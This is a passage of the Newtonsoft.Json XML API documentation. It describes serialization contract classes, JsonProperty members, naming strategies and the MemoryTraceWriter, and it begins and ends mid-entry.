Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonISerializableContract.ISerializableCreator\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.\n            </summary>\n            <value>The <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonISerializableContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property 